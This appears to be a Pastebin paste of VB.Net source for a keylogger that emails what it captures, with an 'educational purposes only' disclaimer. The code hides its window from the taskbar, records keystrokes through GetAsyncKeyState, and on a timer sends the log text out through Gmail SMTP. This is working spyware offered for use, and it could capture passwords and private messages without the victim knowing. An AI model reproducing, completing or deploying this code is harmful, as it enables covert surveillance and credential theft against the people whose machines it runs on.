Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'Email sending keylogger in VB.Net
- 'This program is created for educational purposes only. Any misconduct and potential legal actions
- 'is placed upon ones' self and I face no liability for your actions
- 'Created by Logan Poynter - 11/25/15
- 'Byte of Tech Channel
- 'Making our program not show errors to the user
- Option Strict On
- 'Importing the Mail functions into our program
- Imports System.Net.Mail
- Public Class Form1
- 'Allowing ourselves access to gather keystroke data
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
- Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick
- Try
- 'Configuring our SMTP settings; these will change based upon your email provider
- 'Simply Google your email host for the SMTP settings
- Dim smtpserver As New SmtpClient
- smtpserver.EnableSsl = True
- smtpserver.Port = 587
- smtpserver.Host = "smtp.gmail.com"
- 'Configuring our email message
- Dim mail As New MailMessage
- mail = New MailMessage
- mail.Subject = ("New Key Log Data")
- mail.Body = txtLogs.Text
- smtpserver.Send(mail)
- Catch ex As Exception
- Me.Close()
- End Try
- End Sub
- 'Keylogger portion of the code
- Private Sub tmrKey_Tick(sender As Object, e As EventArgs) Handles tmrKey.Tick
- Dim result As Integer
- Dim key As String
- Dim i As Integer
- 'For statement to get our keystrokes
- For i = 2 To 90
- result = 0
- result = GetAsyncKeyState(i)
- If result = -32767 Then
- key = Chr(i)
- If i = 13 Then key = vbNewLine
- Exit For
- End If
- Next i
- 'Determining if the user is typing in upper or lower case font
- If key <> Nothing Then
- If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
- txtLogs.Text &= key
- Else
- txtLogs.Text &= key.ToLower
- End If
- End If
- 'How the user can set the visibiity of the program to true
- If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "V" Then
- Me.Visible = True
- End If
- End Sub
- 'Notification that the logger has been stopped
- Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
- txtLogs.Text &= vbNewLine & "Keylogger has been stopped at: " & Now & vbNewLine
- End Sub
- 'Making our program invisible
- Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
- Me.ShowIcon = False
- Me.ShowInTaskbar = False
- Me.Visible = False
- txtLogs.Text &= vbNewLine & "Keylogger started at: " & Now & vbNewLine
- End Sub
- Private Sub txtLogs_TextChanged(sender As Object, e As EventArgs) Handles txtLogs.TextChanged
- End Sub
- End Class
Add Comment
Please, Sign In to add comment